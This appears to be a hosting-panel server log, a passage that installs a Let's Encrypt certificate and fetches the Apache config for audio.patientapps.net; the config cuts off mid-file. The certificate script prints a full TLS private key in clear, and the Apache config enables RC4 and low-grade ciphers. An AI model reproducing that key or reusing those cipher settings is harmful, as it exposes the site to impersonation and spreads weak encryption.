MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-01 12:19:26: Establishing a connection
2026-02-01 12:19:26: Establishing a connection
2026-02-01 12:19:26: 

PUT: /tmp/pkp119182

#!/bin/bash
if [ -d "/var/www/patientapps_audio/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-01 12:19:26: 

chmod 755 /tmp/pkp119182; /tmp/pkp119182; rm /tmp/pkp119182

2026-02-01 12:19:26: 


0


2026-02-01 12:19:54: Establishing a connection
2026-02-01 12:19:55: 

PUT: /tmp/pkp267280

#!/bin/bash
temp_file=$(mktemp)
TARGET=40d152ed4fc15024fe57db1999e289aa.crt

cat > $temp_file <<'endmsg'
00:2e:5b:d2:8e:38:99:13:1e:7a:7a:7a:75:ae:a0:b3

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBrxZlQ/EBE7NqEK/KUHWVs8TMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjAxMTEyMTIzWhcNMjYwNTAyMTEyMTIyWjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDJ5e6kD5PQ7+QHAf/omNYi+sNDNuFyTbAsGn4XowdoBhiB6OFTAJ2N
hrtcLc53s73A6FjjUsH/q5GuITVmsOnlR3bT7gT3lTzymFKiXnkoIjsZGMir+FQz
0rbnEtSWxajT02NP8GB/hg6Mh3xkSzoCkQ9qpTwQl0bfMRaerD/L62ZK4X/gyuSw
Vw9fDqgrxt97PVP6/2jCK6FwwGX+v8pNzSXGa8Bv0hTvU5MMDG5HY30wzoTHfIPY
i84ZJeCgMT45JFW/hrH+a49qPkAQ/WvinIrsgISgGyIXwlhWG0gf/Xn4W1UnRpi4
eGAZiz8j7UCUc4icIWz6JBZ/2ZiNPtMzAgMBAAGjggInMIICIzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFJcRFu0nVuwjhjXrolS03udlaaEUMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8ucGF0aWVu
dGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMjAuY3JsMIIBBgYKKwYBBAHWeQIEAgSB
9wSB9ADyAHcADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGcGSUy
2wAABAMASDBGAiEAkd6NGNiP4MhjM/jlCwyyhjEReoRqJCiJu8Wg37zACiQCIQDN
UyxAIfLlkuedhivODmQFOx9aaqeDu8nZXRfaJl1mvQB3ANFuqaVoB35mNaA/N6Xd
vAOlPEESFNSIGPXpMbMjy5UEAAABnBklM74AAAQDAEgwRgIhAKPGPckP5ioBZe3L
X0oFn1LCsE8Ea6nXhfi+DodpdVQqAiEAnCy3mkkHRPhMsaERXFEEpgI56ztkPy5O
V05FF0sADl4wDQYJKoZIhvcNAQELBQADggEBAGJNVUDEPXlIQgT09+1Eo5en1pfT
W/CP7tGqspQ5hHQrwwwfU1mdJXagLLPNnHI8cHqCOeQxcr4baw7UVM1mANUAA+fS
emf+f8aif9Qg1PqxsHAlflbP6y8MDmKSUsa16E6FTHEM17sDumvMKoP3bpQq/Xd3
/Nhi+kD5dVKXaX+lVDK4XBZhVBUiCWdxkP+GAi3NSfCEK1eY5EImTE0Hrm/DnSSC
up1q9r43q4kGAcctPJtWCkXqZlP+eCSqSb2SFViwHXTcL+26A99Ys4P3qg7TTCo2
p4jV7jV4L0MqX7XxAZgfP6lMFimxdf57g9IdWcJvTKb0Z1I3MzfNHg/hdDc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDJ5e6kD5PQ7+QH
Af/omNYi+sNDNuFyTbAsGn4XowdoBhiB6OFTAJ2NhrtcLc53s73A6FjjUsH/q5Gu
ITVmsOnlR3bT7gT3lTzymFKiXnkoIjsZGMir+FQz0rbnEtSWxajT02NP8GB/hg6M
h3xkSzoCkQ9qpTwQl0bfMRaerD/L62ZK4X/gyuSwVw9fDqgrxt97PVP6/2jCK6Fw
wGX+v8pNzSXGa8Bv0hTvU5MMDG5HY30wzoTHfIPYi84ZJeCgMT45JFW/hrH+a49q
PkAQ/WvinIrsgISgGyIXwlhWG0gf/Xn4W1UnRpi4eGAZiz8j7UCUc4icIWz6JBZ/
2ZiNPtMzAgMBAAECggEAYjakepGLVfnEYrZRz0u962Ex6HoDfI+XMjUm/oeTfEJu
3I81QSPNAMI4VVSBGhDJL1S3nMmuzpke8mZ8LDrGZP75KoogR3IFJnv7wrmTVXcl
aYV5ZNKV32nTCKBL4xY/FOBBcOsdfhtv62OjGsTPcN0w8y9zAx0b4EnoV4KyPBcm
eRiGsnH1w9piagrNYJjEf588yb6NS/bC2qsoIobbExCjCy5z9TNVjqtzzWve2Cuh
ai0jAJqWb2lEp5V2lnGcYQC3vxC4ZeUuZLeeWPi6Nmrs/jpJm6jGHlwypCXYosID
dwIIl7e5Eei1bx8K5NIrSv4avDkTgHKyrbi7rT+qHQKBgQD3rtrIqzKeNykCNq9I
MhNaT2iq+BaxTa0h4Tr03Gea8OC6F+pE1dk+NVKilS4jwOE2LNMMDMHjc8kn7vbH
uKKYZ2toLdueZRcmGs4/XxzsliMO2sNqlKuXFZqzhaMVYmeDDukgfmOe0Jm1I16N
RVCefCahQuTIsv89rMNUmqjnBwKBgQDQrX/eqCpY2wINjkeFwNb50NEiwQ94EPMu
+OUJV1GA1PQ9r/aYVN4c55Twsr4WtzLspMQuABt86cFgNGe7PU7Pjd5C7O3pEjqE
L/754npThKCMF4aq80Ikq07ZpyOn/lzNHqH7uqaDGNWcexx4WAZVwrShFWSeAJU0
nrhZ/XSbdQKBgQCr/dLVR/R1Y25pqBmds5A2xS+0kWQIqRzRivqKsEaNlDkpYJQA
StN5XEPOvHL2xuhc21GOa4lz7aJAxbK+S5s045P1GusHmcEyZ6jS3rRSIYuktArB
Bw4Ecy8i/Gib3+JrYr5GHx4EWWxzGWV+CiUKeMHGd5IxQAL4C/Dz3hXtnwKBgQCB
KFGzixwiwPLlVwG3rGKiXneC7kFXzA3oLc782BmvBp9hKu8S27xZ4ZAS5l63Co6v
X0+5NQHOb5PrqqPlhQ2pcyJ1A9ZA4rJrLJXBLkcOOFFyRAFq/4MZ1RnJpyRvjwT7
RBF4D8+N5qoX3y8A4WKSZB+OcAJFtRCkb/SkZjZtHQKBgQDKazOj48xQRtgUIiy8
sH1PC3g4VDliLtQlVZoQWuGuNVvNWsi4mjf4KafV98s9sIWeLFdNpLIMjLGA4bj8
ZvdVlvnz2U9FCfCwBoRIaz/VdtTdFCL0QSH/3v5wAnZ3Nrfv47MZ8caZyZ3hI/mj
DWYjsucowUCU386B4O0P+sOSkw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-01 12:19:55: 

chmod 755 /tmp/pkp267280; /tmp/pkp267280; rm /tmp/pkp267280

2026-02-01 12:19:55: 


dir=/etc/ssl/certs


2026-02-01 12:19:55: 

PUT: /tmp/pkp570406

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_audio_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-01 12:19:55: 

chmod 755 /tmp/pkp570406; /tmp/pkp570406; rm /tmp/pkp570406

2026-02-01 12:19:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf 45

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
